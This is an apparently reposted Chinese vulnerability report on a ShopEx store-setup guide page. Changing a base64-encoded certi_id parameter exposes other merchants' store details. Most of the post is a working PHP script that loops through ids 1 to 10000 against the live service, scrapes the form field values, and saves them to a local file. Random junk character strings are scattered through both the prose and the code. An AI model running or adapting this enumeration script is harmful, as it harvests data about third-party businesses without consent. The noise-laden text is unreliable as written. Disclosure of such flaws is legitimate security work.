ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
3 N& q( x" I1 B  l0 o; D9 AShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

; A" j1 ]: C6 Z7 O1 J- _* l- F* Q$ b
- c. [( \9 g2 _9 T0 U
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


* K& a1 Q% z  f; R- l+ S0 y. g. i) v
8 F+ Q7 y: W5 H$ v& ?- s我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

: o: }8 S# {0 w4 |9 p

<?php
9 S: y; {; W  {$ I& S
# {# M. H% c" z                for ($i=1; $i < 10000; $i++) { //遍历

5 L  G! t# b2 l- W8 N                        ShowshopExD($i);

                }

# b3 T  ^- W% J0 l$ v# }8 [                function ShowshopExD($cid) {
! t5 B" R: _% w" C
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

9 T' `3 U% L9 P  \        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

6 P" k! x) }$ r% |# c        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
) t6 K  Q- }- D
) S6 C# q, D# U' J        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
* n" y1 \( H: J- ]
        if(strpos($result,$refer))

$ h9 a3 w; D" e) M        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

& ~% U  U+ u( R( ]* w" u                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
- H2 x" y: s. _6 ?- _, C
                foreach ($value[1] as $key) {
. H1 o2 [* i( I
4 v  e' c+ _4 q0 u                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

8 v9 T* F0 W. t                        echo $res[1][0].':'.$res[3][0]."\r\n";

2 m# }4 H% E1 i) o  l                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
9 ?/ z8 O% T. c( x" Z, b! t
3 A7 K4 P- N$ o' c/ u                }

) m# Z' W  r$ H% c0 s/ ^& ~" T7 L                echo '--------------------------------'."\r\n";

4 l# `2 @1 i& D0 t& Z9 J3 v+ h                fclose($fp);
: {1 H1 K# W/ y$ E/ O# Y9 m
/ s1 }3 v! p7 o8 R1 f9 Y        }
! g1 k0 P+ k3 @/ h! g! l
        flush();

* N. g! W( x4 K" i8 @5 D        curl_close($ch);
9 ?. {# F% d. i
( A' A+ V; N- W( g# H, H/ h                }
; ~. G* D) D* w$ j$ j1 r/ r$ B+ T+ Z
?>
9 |3 C- R8 f( r" N9 f  T% k漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
( H4 f' q" w+ E8 @2 g5 A/ L) irefer换成其他加密方式
1 ^( N4 {9 Q, s7 S0 \3 f